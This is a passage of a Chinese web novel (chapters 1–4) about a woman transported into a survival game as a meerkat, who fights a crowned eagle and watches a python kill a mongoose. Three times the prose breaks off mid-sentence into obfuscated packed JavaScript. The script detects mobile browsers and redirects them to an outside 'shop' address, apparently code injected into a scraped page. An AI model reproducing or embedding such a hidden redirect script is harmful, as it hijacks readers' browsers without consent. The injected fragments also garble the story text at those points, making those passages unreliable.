《狐獴小姐不想被吃》 1. 稀树草原 《猎物的生存法则》 文/黎迹 晋江文学城独家发表 “从地球上第一个生物出现,直到进化成人类,一共花了35亿年。 “然而,从人类退化到野兽,仅仅需要一个念头。” 首都大学博士生办公室里,宁安然“啪”地合上了面前这本《学术人物》,不再看自己所撰写的那两句引言。 博士录取、论文发表、《学术人物》的专访…… 这每一件事都是一块砖,铺在了宁安然的脚下,成为她向上攀登的阶梯。 她将视线投向桌角,那上面放着一份还没签字的文件,抬头印着首都大学人事处的红色印章。 ——人才引进协议。 她翻开了那份协议书——事业编制、一百万安家费、独立实验室的使用权……她这一生所渴望的一切,都印在了这几张薄薄的纸上。 这,是她的最后一级台阶。只差一个签名,她就能彻底离开那间地下室。 宁安然闭上了眼睛,密密麻麻的握手楼就在眼前浮现了出来。她站在两栋楼房之间的窄缝里,老旧的电线在两扇窗户间一拉就是晾衣绳,开了线的衣裤交叠在一起,令人看不清前方的路。 鱼摊的腥气、红双喜的烟气、街口小灶的锅气尽数落在了宁安然的肩上,靠近她就能闻到底层孤儿的味道。 “安然”是收养她的宁阿婆给她取的名字,寓意着一生平安。 但宁安然从记事起就知道,“平安”是奢侈品,起码是那些住在三楼往上、能晒得到太阳的人家才配拥有的东西。 像她这种住在地下室里的人,能做的就只有不顾一切地向上爬。 只有爬上去,她才能自由…… 回过神来后,她抽出签字笔,在协议书的末尾签上了自己的名字。 “宁安然”。 直到这个瞬间,她才真正感觉自己活出了自己的名字。 “嘶——” 就在她落下最后一笔的时候,一阵电流从她的后脊向上窜升。 电流直袭大脑,她脑中的神经元在一瞬间同时开始放电。 电脑、办公桌和多肉盆栽瞬间消失了,她的眼前一片漆黑。 随后,周围的场景突然发生了翻天覆地的变化。 枯黄和青绿交织的草原在她的面前铺展开来,一直延伸到看不见的地方。灰褐色的树稀稀拉拉地分布于草地上,伞形的树冠上挂着些许荚果。 天空很高,白云懒洋洋地漂浮着,在草地上投下移动的阴影。 阳光曝晒着这片几乎没什么遮挡物的大地,温度令人明显感觉到灼烧。 毫无征兆地,宁安然现在正置身于一片热带的稀树草原中。 还没等她有任何反应的时候,她的脑中就响起了一道雌雄莫辨的机械音—— 【恭喜您实现梦想,来到了《动物世界》,请在这个游戏中存活下去,完成光荣的进化吧!】 【请记住,优胜劣汰是这里的唯一法则。】 【当前所处世界:世界1-热带稀树草原】 【正在生成您的身份卡……】 【Loading……】 【身份卡生成成功。】 【您的身份是:猎物】 【您的种族是:狐獴】 宁安然皱眉看着面前陌生的场景——她这是因为刚才太开心,所以产生幻觉了? 她蹲下身来,伸手掐了一棵红棕色的枯草,用指尖将其碾碎。细碎的沙沙声传来,草茎断成了碎末和细碎的纤维。 这和她之前去非洲田野考察时,采过的红燕麦草一模一样! 不对,这不对劲……幻觉不会这么真实。 她心里浮现出了一个极度不愿意接受的可能性——她真的被拉进了这个名为《动物世界》的游戏?! 刚才桌子上放着的人才引进协议书,现在连个影子都没有了。 没了,全没了! 宁安然整个人剧烈颤抖着,愤怒随着一股热流涌了上来,翻腾的血液快要顶破她的脑袋。 她想到自己在地下室学习的时候,雨水从关不紧的窗户里漏了进来,滴落在作业本上,令她的本子涨得有别人的两倍厚。 本科时发奖学金的那天晚上,室友们约她一起去吃火锅庆祝,从来没吃过火锅的她不知道该怎么点菜,怕露怯,就假装说有事,在教学楼里坐了一晚上。 研究生时期,导师将她写的论文甩到她的脸上,纸上的订书钉在她的脸颊上划过,留下的疤痕直到现在都还没长好。但她没法发作,因为她没有任何退路。 这一切的忍耐和退让,只为了换来最后平稳自由的生活。 而这生活,如同被砸的玻璃一般,在她眼前一寸寸龟裂破碎。 宁安然的指甲嵌进了掌心中,手上的刺痛却完全被心里的苦楚压了过去。 就在这时,那一道机械音又一次在她的脑海里响了起来。 【《动物世界》由多个不同的子世界构成,每一个世界中,都隐藏着前往其他世界的入口。】 【其中,“深渊”世界中隐藏着现实世界的入口。通过“深渊”的考验,即可回归现实。】 【滴——终端系统已解锁,请查看您的终端。】 在系统提示音消失时,她的左手手腕亮了一下,上面出现了一片叶子形状的刻纹。 “回归现实”这四个字在宁安然的脑海里不断盘旋着。 近在眼前的幸福生活消失了,她依旧非常崩溃,但现在也没什么更好的办法,只能先想办法从这个游戏里离开。 她轻抚了一下手腕上的刻纹,它的上方立刻浮现出了一块全息投影屏幕。 【下午好,宁安然。当前时间为:平季第1日,下午4:30。】 【旱季将在2日后降临,请做好准备。】 宁安然打量了一下这块全息屏幕,右手拖动了一下它的边缘,屏幕就跟着她的动作放大和缩小着。 屏幕上面除了中央的开屏介绍语之外,分为了几个板块。 右上角,是她的基本属性,由几条绿色的进度条来显示。 【生命值:100/100】 【理智值:100/100】 【饱食度:50/100】 【饮水度:50/100】 【您的理智值代表“自我”的锚点,在遭遇追猎、恐惧、饥饿或干渴时,理智值将快速下降。进入睡眠可以逐渐恢复理智。】 下一秒,饱食度就从绿色的“50/100”,跳到了黄色的“49/100”,其它数值则没有变化。 宁安然的目光落到了“追猎”上面——看样子,这里是一个遵循食物链法则的地方,刚才语音里说她的身份是“猎物”,那这个游戏里应该还有“捕猎者”。 剩下的这些属性,应该和她的物种有关。 狐獴,也就是彭彭与丁满里丁满的原型,是一种沙漠动物。 它们的肾脏能高效吸收水分,可以靠食物获取水分而不需要直接饮水,所以饮水度下降得比较慢。 这时,一阵热风吹了过来,令她感觉皮肤发干。 她环顾了一下四周,周围全是一望无际的草原,而她杵在草原的中央,看不见其他任何人或者动物。 就好像,她是一个竖起来的靶子一样,随时可能会被野兽扑倒。 宁安然不清楚在这个游戏里死亡意味着什么,会不会在现实世界里也会死? 她不敢冒这个风险,视线搜索着附近能作为掩体的地方。 草原上有几棵高大的金合欢树,她立刻跑了过去,蹲坐在了粗壮的树干边,继续打开终端浏览。 粗壮的树干遮住了她的身体,宁安然这才感觉后背上那股被旷野凝视着的暴露感消退了些。 屏幕的下方,有四个小图标,分别是【属性】、【背包】、【地图】和【活动】。 宁安然点开了【属性】界面。 一个站立着的狐獴形象显示了出来,尾巴支撑在地面上仿佛在放哨,圆圆的黑色耳朵竖了起来,细长的小爪子坠在胸前。 狐獴的右边,有三个标签,【被动技能】、【主动技能】和【猎物等级】。 【被动技能:哨兵-当周围20米内出现饱食度小于50的捕食者时,将会获得警报提示。】 在看到“捕食者”三个字时,宁安然心中的怀疑被确认了——这个世界的确有捕食者存在,而且捕食者和她一样,有饱食度进度条。 这个技能很符合狐獴会放哨的特性,便于她在捕食者靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470638|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的时候逃跑。 不过这个能力有一个重大缺陷。对于那些暂时还不饿、只是想屯粮的捕食者来说,它毫无作用。 宁安然的目光滑向【主动技能】。 【主动技能:将在平季第2日前解锁】 所以说,她在这个世界里属性是一只不到一公斤的动物,天地遍布海陆空,跑不快爬不高,唯一的能力就是响响警报? 宁安然无语——上辈子她是地狱开局,怎么来了这个世界之后,又是在食物链底层? 她继续查看着终端,【猎物等级】是个能点击的图标,她便点了进去。 【猎物等级:1级-初曦】 【进化到2级-清晨,需要提交以下材料:】 【猛禽羽毛:0/10】 【猛兽皮毛碎片:0/10】 【鼠类指甲:0/5】 【土块/树皮/石块:0/20】 看到这里,宁安然更切实地感受到压力了,这些材料堪比堆满期末周的论文和报告。 除了最后一项看上去比较好获得之外,剩下的都是什么东西啊! 什么猛禽羽毛,猛兽碎片,这是一只小小狐獴能拿到的吗?! 除了这三个标签外,【属性】界面右下角还有两行小字。 【您可以即时切换至动物形态。而从动物形态切换至人形态时,需要30秒蓄力时间,蓄力期间可保持静止。】 【请注意:人形态下您将无法使用种族的主动技能与被动技能。】 原来她是可以变成狐獴的啊! 在有了这个想法之后,她的身高就以飞快的速度降低,变得只有之前五分之一高了。 她的视野瞬间清晰且开阔了,不只能看到较远的地方,还能看到两侧。 她全身毛绒绒的,身体的感觉也和以前不同了——现在她的前爪有着锐利的指甲,屁股后面多出了一条能支撑自己体重的长尾巴。 更重要的是,刚才那种暴露在旷野中的感觉瞬间淡了许多。 宁安然伏低身体时,周围的草叶几乎没过了她的后背。微风掠过草尖,只吹起她头顶上的一小撮绒毛。 看样子,这个游戏是在强迫玩家们适应动物的生活模式。 人形态下,她能够更灵巧地采集材料和制作简易工具,但是高大直立的体型也让她更容易被捕猎者发现。 况且人形态下的玩家完全是个白板角色,什么特殊能力都没有,风险太高了。 她的两只黑色豆豆眼看向前面的大树,树干底部正好有一块翘起来的黑色树皮。宁安然伸出爪子拨弄了两下,树皮就从树干上撕裂开来,掉在了地上。 不愧是狐獴!抓力还是相当不错的。 【检测到树皮*1,是否要收进背包中?】 狐獴状态下,左爪上方的终端仍然是亮着的。她脑中刚一动收进背包的想法,地面上的树皮就消失了。 【背包】那一栏里共有7个格子,每个格子可堆叠上限是10个物品。 其中一个格子里放着刚才宁安然捡起来的树皮。 “居然都不给点新手物资吗……”宁安然看着一穷二白的背包吐槽着。 就刮了个树皮的时间,她的饱食度就掉到了45,饮水度则掉到了48。 看来,当务之急是找点东西吃。 宁安然的目光锁定在了面前的金合欢树。 这棵高达10米的伞状大树上,缀生着大大小小的黄棕色螺旋形荚果。 这种荚果富含蛋白质和碳水化合物,虽然不在狐獴的主食谱当中,但肯定也是可以吃的! 可惜这些荚果的位置都太高了,最矮的一颗也有四五米高,她完全够不到。 狐獴并不是擅长爬树的动物,爬个矮灌木都够呛,更别说是布满尖刺的金合欢树了。 看来只能碰碰运气,看看有没有掉下来的果子了…… 她绕着大树周围转了一圈,在大树的另一侧,她发现有一颗荚果落在地上,棕褐色的外壳被阳光镀上了一层金边,看起来是熟透了。 “太好了!”宁安然眼睛一亮。 在她刚准备跑过去捡起荚果时,脑中忽然响起了剧烈的警报声—— “滴滴,滴滴,检测到捕食者靠近,滴滴——” 2. 稀树草原 一阵高速旋风朝宁安然的方向袭来。 耳朵里“滴滴滴滴”响个不停,后背上传来的旋风给她带来了濒死的预兆,令她心跳飙升。 宁安然很崩溃——怎么刚看完被动技能的描述,它就直接触发了啊! 危险近在眼前! 她抬起头,只见一只通体灰黑的鹰以极快的速度向她袭来。 那鹰展着宽大的翅膀,白色羽翼上有着两排黑色条纹。头顶有一簇扇形冠羽,此刻如同皇冠一般竖立了起来。 它橙黄色的眼瞳紧盯着宁安然,强烈的压迫感瞬间向她袭来。 是冠雕! 几乎是在认出它的瞬间,宁安然就感觉自己的头脑眩晕了一下。 即使没有打开终端,她也察觉到了自己理智值的下降。 冠雕的抓握能力极强,一爪子能直接抓碎小型动物的头骨,她必须要立刻行动了! 冠雕呼啸着向她袭来,宁安然集中精神猛地缩起了身子,尖锐的爪子“咚”地一声戳进宁安然上方的树干上。 粗糙的树皮碎屑溅到了她的脸上,头顶上的闷响震得她头皮发麻。 那位置,是宁安然刚才脑袋的地方。 虽然她靠狐獴的低矮和敏捷躲过了它的第一击,但接下来,她将面临着几乎无法脱身的追击。 冠雕的飞行时速可达150公里/小时,而狐獴的跑速甚至不到40公里/小时。 它们躲避天敌的方式,完全依赖于在发现天敌后迅速钻进地洞里。 可宁安然刚来这个世界,根本没机会提前打洞! 一击失败之后,宁安然飞快地蹿到了金合欢树的背面。 而冠雕则拉高了一些距离,在离地十几米的地方盘旋飞行着。 “咚咚、咚咚、咚咚。” 宁安然的心脏快要跳出这狐獴小身体的胸膛了。 她周围,唯一的掩体就是身后的这棵金合欢树。她的毛发和金合欢树树皮的颜色相似,但在冠雕那超高分辨率的视野里,她的这点拟态色完全不够看。 冠雕正在低空盘旋,寻找合适的角度进行下一次的俯冲。 宁安然环顾着周围能用作武器或防具的东西,这附近连个小石块都没有,只有一根掉在地上的粗树枝可以捡。 但是一旦她伸出爪子去捡,就会露出破绽,冠雕一定会抓住这个机会冲下来扑杀她。 眼看着冠雕的飞行高度越来越低,宁安然的呼吸也越来越急促。 她能感到自己脑中的念头在慢慢模糊,属于人类的冷静正在被狐獴本能里的惊慌逃窜欲望给一点点替代。 那份人才引进协议书上的墨迹还没干透呢,她就要死在这里了吗? 宁安然深吸了一口气,强迫自己冷静下来。 不能慌,再一慌的话,理智会掉得更快…… 她在脑中快速检索着和冠雕有关的知识,试图找出一条能救她于水火的。 冠雕现在还没有飞下来扑杀,是因为它不知道宁安然会向哪个角度逃跑。猛禽俯冲的速度虽快,但攻击角度固定,一旦锁定目标就没法调头。 见宁安然过了好几秒都没有动,冠雕便朝着她目前所在的方向发起了下一次攻击。 大鸟猛地向她扑来,伸出爪子抓向她的方向。 宁安然四爪联动尾巴同时发力,猛地朝粗树枝的方向蹦了出去。 【检测到树枝*1,是否收入背包中?】 她赌对了! 刚才在捡树皮的时候,她并没有去做“拾取”这个动作,只是在树皮的附近,系统就让她选择了是否拾取进背包。 所以她并不需要分神去抓那根树枝,从而降低自己的跑速。 宁安然心念一动,树枝就被她收入了背包中。 然而,即使有了这个“防身道具”,她现在的处境也很危急。 刚才冠雕虽然扑空了,但那一击将她赶离了金合欢树旁,现在她置身于空旷的草原中,周围没有任何掩体。 该死…… 在自然界中,像狐獴这种生物在失去掩体和巢穴之后,面对捕食者的追猎只有死路一条。 冠雕没有丝毫停歇,它紧盯着宁安然跑动的轨迹,向下俯冲。 二十米、十米、五米…… 宁安然的生命进入了倒计时。 她狭窄的大脑里“快逃!!”的念头像野草一样疯长,几乎要取代她全部的逻辑思维能力。 不行了,她必须要在自己彻底被动物本能吞没之前,想到一个解决的办法! 就在冠雕带着呼啸的狂风,离她只有不到一米的时候,她骤然停了下来。 宁安然用两只爪子举起了那根树枝。 这几乎是自杀式的行为。她看到冠雕的利爪从自己眼前掠过,近得仿佛下一瞬间就会把她的脑袋撕开成两半。 头顶的天空顿时暗了下来,她的爪子上传来了一阵剧烈的震动。 “嘶啦——” 粗树枝直直地贯穿了冠雕的腹部,从它的后脑勺扎了出来。 冠雕的羽翼向外撑了撑,羽尖向上剧烈地颤抖了几下,随后双翼坠到了地上。 它停止了呼吸。 宁安然跌坐在地上,尾巴和爪子都软得使不上一点力。 她愣了好一会儿,才确认自己还活着的事实。 如果她停下的时机不对,再早一点,或者再晚一点,或者那根树枝直接被冠雕压断了……现在被开膛破肚的应该就是她了。 猛禽俯冲时瞄准的是猎物前方的位置,腹部下方是它们的视野盲区。她在最后一刻停下来,恰好落在了冠雕看不见的地方。 而冠雕的速度太快,已经停不下来了,整个身体直直地扎在了她手中的树枝上。 这一搏,是她在这绝望处境里唯一的一线生机。 【检测到冠雕肉*6,冠雕羽毛*3,冠雕灵魂*1,空水瓶*1,是否收入背包中?】 冠雕死后,它的尸体化成了星星点点的颗粒消失了,只剩下地上的一堆物资。 宁安然有些愣神——这么大一个冠雕就这么没了? 真的像游戏里打完怪爆装备的情景一样! 冠雕相关的东西应该是尸体爆出来的,而那个空水瓶,难道是这只冠雕之前捡到的东西吗? 冠雕也像她一样,是一个被拉入这场游戏的人类么? 这个念头刚冒出来,她的胃就猛地抽搐了一下。 可还没等那反胃的不适感彻底涌上来,宁安然就感到头顶一阵强烈的眩晕,肚子也饿得发痛。 她将地上的东西收入了背包,踉踉跄跄地爬回金合欢树边,瘫在了树根下,按下左爪上的【终端】按钮。 右上角的四个数值中,有两项数值因为过低而变成了警示性的红色。 【生命值:100/100】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470639|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【理智值:5/100】 【饱食度:5/100】 【饮水度:20/100】 刚才的剧烈运动,加上天敌捕猎时造成的恐惧,令她的理智和饱食度都降低到了个位数。 理智能通过睡觉恢复,可她万一在睡觉的时候饱食度归0了会怎么办? 宁安然不敢赌这个结果,她连忙强撑着爬到树根附近,把刚才还没来得及收进背包的荚果捡了起来,用爪子抠开荚壳后,将果肉吞了进去。 淡淡的豆类香气和偏涩的口感在口腔中蔓延开来,似乎她的口味也变得和狐獴接近了,感觉味道还不错。 然而,就一个荚果下去之后,她的饱食度只加了5。 看着10/100的饱食度,宁安然还是不敢在这种危险的数值下入眠。 她现在完全没力气去找更多的荚果,周围目之所及之处也没有任何食物。 宁安然抿了抿嘴唇,想到了刚才获得的6块冠雕肉。 冠雕显然不在狐獴的食谱中,但狐獴毕竟是杂食偏肉食性的动物,这肉肯定是可以吃的。 但是,这冠雕曾经是和她一样的人类…… 刚才的那阵恶心感现在又重新翻了上来。 宁安然心念一动,带着血水的浅粉色肌肉就出现在了她手中。 她在城中村生活的时候经常挨饿,吃过很多很恶心的东西,包括生肉。 但那些东西哪怕再恶心,也不曾是人。 强烈的饥饿感却完全不管她,肚子一个劲地叫着,她的小腹隐隐作痛。 还是得先活下来,活下来之后,在考虑别的事…… 她张嘴咬了一小口,带着腥味的发柴肉质溢满了口腔,让她的胃里狠狠地抽了一下。 不过在第二口、第三口之后,求生欲和饥饿感压过了一切,她茹毛饮血地吃完了整块冠雕肉。 饱食度上升到了80/100,饮水度上升到了30/100。 还好肉块里有些血水,让她暂时不用担心水源的问题。 吃饱“喝”足之后,宁安然只感觉这个世界正在不停地旋转,而面前的金合欢树仿佛在挥着枝条向她招手。 看来是仅剩5的理智值开始发力了。 经过了这一场战斗和战后晚餐之后,太阳已经落山了,阴森森的草原中仿佛随处都会出现危险。 仅剩不多的理智告诉她,她不能就这样晕倒,必须在夜行性的捕食者出来之前,挖一个地洞睡觉。 宁安然迷迷糊糊地趴到地上,用两只前爪在树根附近刨着地。刚刨了两下,她就感到了吃力。 狐獴主要栖息在沙漠中,擅长挖掘疏松的沙土。而稀树草原经反复的旱季和雨季迭代后,土壤硬得不行,她刨了好一会儿才把地表的土给破开。 5、4、3、2…… 她脑海里仍不受控制地回想着刚才那只冠雕变成了6块血淋淋的肉,理智也跟着她的思绪不断地下降着。 她现在太累、太怕了,狐獴本能在催促她快点躲起来,而属于她本身的那部分意志在迅速消散。 然而她手上的动作却根本快不起来,理智值下降到1的时候,她面前仍然只有一个只能钻下半只狐獴的小洞。 宁安然感觉自己脑中的弦快要绷断了,顾不了更多,她下半身坐进了洞里,上半身则蒙着脸贴在了金合欢树的树根。 然后,她陷入了昏迷。 3. 稀树草原 隔日。 刺眼的阳光从阴翳的树叶间洒了下来,打在树根边那只睡得东倒西歪的狐獴身上。 明明昨晚她是靠着树根睡的,经过一晚上不自觉的扭动后,她的上半身已经仰躺在了草地上,一条后腿高举向天空。 【叮——您的主动技能-“灵魂炼化”已解锁。】 宁安然是被脑袋里的提示音吵醒的,还没来得及睁开眼,第二条提示音就响了起来。 【叮——您作为首日唯一一名达成“猎物反杀捕食者,并以之为食”成就的玩家,恭喜您解锁隐藏系统——“任务发布系统”!】 意识到这两条提示应该是好东西,她抬爪揉了揉眼睛,从坑里坐了起来,戳了一下左爪上的树叶刻纹,打开终端。 【下午好,宁安然。当前时间为:平季第2日,上午6:00。】 【旱季将在1日后降临,请做好准备。】 看着这两行字,宁安然稍微清醒了一些。 她昨晚刚从冠雕的爪子底下捡回了一条命,而今天这一睁眼,就有更多的事等着她来做。 这游戏就和现实的动物世界一样残酷,连让人喘息一下的机会都没有。 她下意识用爪背摸了一下自己的喉咙,那里仿佛还残留着昨晚生吞血肉时的荤腥。 可终端上的时间仍在一分一秒地走动,就如同城中村里的冷漠路人一样,不会因为她的难受就停下来。 只剩下一天了就要到旱季了,无论昨天发生了什么,今天都得开始准备食物和水。 右上角她的理智值已经回满到了100/100,饱食度还有40,饮水度也还剩20,暂时不需要吃东西。 她点开了【属性】界面,里面的【主动技能】那一栏下方出现了一行小字以及一个框框。 【主动技能:灵魂炼化-将所获得的灵魂提交到这里,可获得2张与该灵魂相关的体验卡(单次体验不超过30秒)】 宁安然立刻想到了昨天拼死拼活拿到的冠雕灵魂。 一个人的灵魂,只能换两张加起来不到一分钟的体验卡? 在这个游戏里,死亡是肉,是皮毛,是灵魂,唯独不是死亡本身。 事已至此,她强行打断了自己的浮想联翩。想明白这件事不能让她多活一天,但把这灵魂用了,至少能换来两张卡。于是她将冠雕灵魂从背包里拖进主动技能的框中。 【获得体验卡:鹰眼-获得30米内在您食谱内可食用物的视野(5秒)】 【获得体验卡:羽翼-短暂拥有飞行能力(30秒)】 这两场卡让宁安然紧绷的神经稍微松开了一些。 这个游戏虽然残酷,但也公平。只要有足够的付出,就会有丰厚的回报。 将体验卡收到了背包中,她退出了【属性】界面之后。 终端主界面上,导航栏里多了一个【任务发布系统】的选项。 这应该就是她获得的那个成就所解锁的隐藏系统。 她还是稍微有些期待的,果断点了进去。 【新任务发布:您可以在这里发布任务,在您周围10公里内的玩家将在地图上收到任务提示。】 【玩家接受任务和完成任务时,您都将收到提醒。由您来判断任务是否完成。】 【您需要设置至少1单位的物品作为任务奖励,任务完成后奖励将发放给玩家,任务失败则物品会退还到您的仓库。】 这个系统很自由,她可以自己判定任务是否完成,所以甚至可以让别人帮她白干活。 宁安然晃了晃头,把这个邪恶的想法晃出脑袋。没到穷途末路的时候,她还暂时不打算这么干。 提示消失之后,终端上出现了【任务标题】、【任务内容】、【目标玩家】和【任务奖励】,四个可填写的框框。 宁安然一眼就注意到了【目标玩家】。 她可以选择把任务发布给1-3个【目标玩家】,但这还不是她关注的地方。 在数量的下方,有一个选项框—— 【您的任务将会发布给:猎物】 那个选项框里,除了“猎物”还有“捕食者”,只不过“捕食者”的选项是灰色的。 难道说,以后她还能把任务发给捕食者?! 读完【任务发布系统】的介绍后,宁安然心情稍微好一些了——活了这两辈子,上天总算是眷顾了她一次。 狐獴作为沙漠中的哨兵,群居的情况下生存率很高。而如果单独行动的话,生存率就很低了。 如果昨天出现的捕食者是猎豹或者老虎,那她真的不知道该怎么活。所幸这个系统出现了,能让别人帮她做一些狐獴做不到的事。 她立刻选择了向1个目标玩家发布任务,小爪子在终端上敲起了字。 【任务内容:提供“深渊”世界有关的信息……】 输入到一半之后,屏幕上的字停了下来。 宁安然想到,任务发布范围只有她周围的十公里范围,这里面的人大概都和她一样,刚刚进入这个游戏,应该现在还不知道“深渊”的情报。 于是她将这一行字删掉,重新输入了一个更迫切的需求。 【任务标题:洞穴挖掘 任务内容:提供一个适合小型动物休眠的洞穴,至少有三个洞口,洞口间距4米以上,内部干燥,通风良好。 任务奖励:冠雕肉*1(90%新鲜度)。】 “呼——” 宁安然反复检查了几遍任务内容,确认无误之后终于点击了“发布任务”。 从前发论文的时候也是一样,每次在投稿之前,她总是心惊胆战地怕出错。 昨晚她几乎整只獴都暴露在外面,运气好所以才没被吃掉,现在想想就后怕。她急需一个擅长挖洞的动物帮她把“家”装修好,至少让她不至于在睡梦中被吃掉。 在选择任务奖励的时候,宁安然发现背包里的“冠雕肉”图标灰了一块,点开之后显示新鲜度只有90%了。 不知道新鲜度掉到多少之后就不能吃了,看来她得在旱季来临前囤点好储存的食物。 这个世界里的食物比现实中稀树草原上的更加难找,像是被故意调过出现概率一样。 发布完任务后,终端上弹出来了一个提示。 【您的任务“洞穴挖掘”已发布,任务序号:1。任务的剩余时间为:17小时40分钟39秒,今日剩余可发布任务数为:0。】 宁安然看了一眼现在的时间——【6:20】,看来这个任务的截止时间就是明天0点。 任务刚发布出去之后,终端上面就弹出来了一个弹窗。 【“1-洞穴挖掘”已被领取,任务完成后您将收到通知。】 这效率还怪高的! 她注意到终端右上角,自己的饥饿度掉到了30,身体里也感觉到了饥饿感。 宁安然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470640|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从背包里拿出了一块冠雕肉,捏着鼻子吞了下去。 腥肉的口感又一次溢满了口腔,不过第二次吃,总比第一次吃习惯了很多。 昨天100%新鲜度的冠雕肉加了70的饱食度和10饮水度,今天90%新鲜度的则只加了60饱食度和5饮水度,而且口感也变差了。 照这样推测,肉类放不了几天就完全吃不了了。 焦虑感涌上了宁安然的心头。 饥饿曾是一把达摩克利斯之剑,悬在儿时的宁安然头顶。 一天不吃饭,她完全顶得住。两天不吃饭,她勉强还能撑。而三天、四天不吃饭…… 那种濒死的感觉曾经压得她喘不过气来,她绝对不想再体验一遍了。 更要命的是,她现在不止食物短缺,还面临着没有水的问题。照这样下去,别提去寻找“深渊”世界了,她连稀树草原世界的旱季都撑不过去。 她现在必须找到多汁的食物或者水源! 宁安然打开了终端中的【地图】选项。 昨天刚一到这个世界就被卷入了激情逃杀中,还没来得及探索终端里的其他内容。 【地图】的中央是一个小蓝点,应该是她现在所在的位置。 金合欢树在地图上是一棵小树,周围一片都环绕着密密麻麻小草的图标。 地图的直径是一公里,这一块儿地方除了有棵大树之外,就只有西南角的地形比较特别了。 那里有一个丘陵的轮廓,上面缀着几个岩石的图标。 宁安然关了【地图】,打开终端上唯一一个没点过的图标——【活动】。 【此功能尚未触发。】 宁安然:…… 她还期待了好一会儿,这【活动】一句话就把她打发了。 那个丘陵是这附近唯一的特殊地形,虽然和水源没有关系,但说不定有什么奇遇。她打算去那里看一看。 在小型动物里面,狐獴的跑速还是很可以的,她没几分钟就跑到了那片丘陵区。 这里是一块隆起的小高地,高低错落的岩石从草丛里拱了出来。 岩石的边缘很圆滑,似乎是被风雨打磨了许多年的结果。而有几块岩石的体积大得不正常,甚至比宁安然人形态都要高出好几倍。 有一块岩石的侧面有一条裂缝,缝隙里闪烁着些许水光。 宁安然眼睛一亮。 她都忘了,大石头的石缝里照不到阳光,在低洼处会储存一些雨水! 她小心地绕到了石缝的那一侧,只见石缝边站着一只细长的小动物,后背上布满了黑黄相间的条纹,短粗的四肢趴在岩壁上,仰头舔着石缝里的水。 宁安然更加惊喜了——是一只条纹獴! 来了这个世界大半天,终于见到一个猎物了。 条纹獴是狐獴的近亲,习性类似,食谱也很一致。 宁安然张了张嘴,刚要开口打招呼,那只条纹獴腰间的两侧就出现了一片深沉的阴影。 那阴影迅速向条纹獴的方向收拢着,露出了尖锐的牙齿和张开到一个不可思议角度的猩红色、肌肉层层叠叠的口腔。 “滴滴,滴滴,检测到捕食者靠近,滴滴——”宁安然的脑中瞬间警铃大作。 “咔嚓。” 下一刻,条纹獴就从腰间断成了两半,肠子和内脏溅射在了岩石上。 明明头顶的太阳无比炎热,宁安然却只觉得寒冷彻骨。 4. 稀树草原 看着面前的场景,她感觉自己的头脑一阵恍惚,理智下降的感觉又一次降临了。 宁安然站在原地,一动都没有动。 她知道,在这种时候要是轻举妄动就完了。 小时候,城中村的小巷中也有这样的时刻。楼上中年失业的男人喝醉了,在巷子里摔着酒瓶发泄。宁安然只能小心翼翼地蹲在阴暗的墙角,任由碎玻璃溅到自己的脚边,连呼吸声都不敢出。 此时,那条阴影游曳了出来,橄榄绿和深褐色交接的圆形斑块暴露在了烈日下,通体长达四米多。 宁安然认了出来——是岩蟒! 岩蟒以岩洞和石缝为巢穴,身上的花纹与石头融为一体,是天生的伏击者。 那条岩蟒将条纹獴的上半身吞进脖子里,在吞下半身的时候,条纹獴的一条腿被岩石卡住了。 随着“咔嚓”一声,岩蟒咬断了那条腿,游曳着离开了那条岩缝。 那只条纹獴如同游戏数据一般被骤然删除,只留下一条卡在石头里的残肢。 宁安然盯着那条腿看了很久。 条纹獴也是狐獴的同类,也就意味着,自己和它根本没有区别。 他们都是猎物,随时都会死于未知的阴影之下。 她的喉头发紧,吞了一口口水。昨晚她才逼着自己把冠雕肉咽下去,今天又看见了同类在面前被撕开。 这个游戏完全不给人任何适应的时间。 宁安然突然意识到了一件很不对劲的事——蟒蛇的咬合力应该没有那么强才对! 它们的攻击方式一般是用身体将猎物绞死,随后整个吞入腹中。 这条岩蟒怎么会有像鳄鱼一样的咬合力,能直接咬断骨骼,甚至能把条纹獴从中间撕裂成两半? 这是它在游戏里获得的能力吗? 世道不公啊……为什么这岩蟒的能力这么强,而她的只是能检测到捕食者。 烈日已经完全升到了最高处,在骄阳的炙烤下,宁安然的嘴唇发干,出现了脱水的症状。 她瞥了一眼属性面板,饮水度已经掉到20以下了。 宁安然抬起头,将视线投向了不远处的石头缝。 那岩石的底部还卡着半条獴腿,而缝隙处则滴滴答答地落着水珠。 必须要尽快做决定了! 宁安然喉咙处的皮毛滚动了一下,她咽了一口口水。 她四肢着地,快步向石缝的方向跑去。 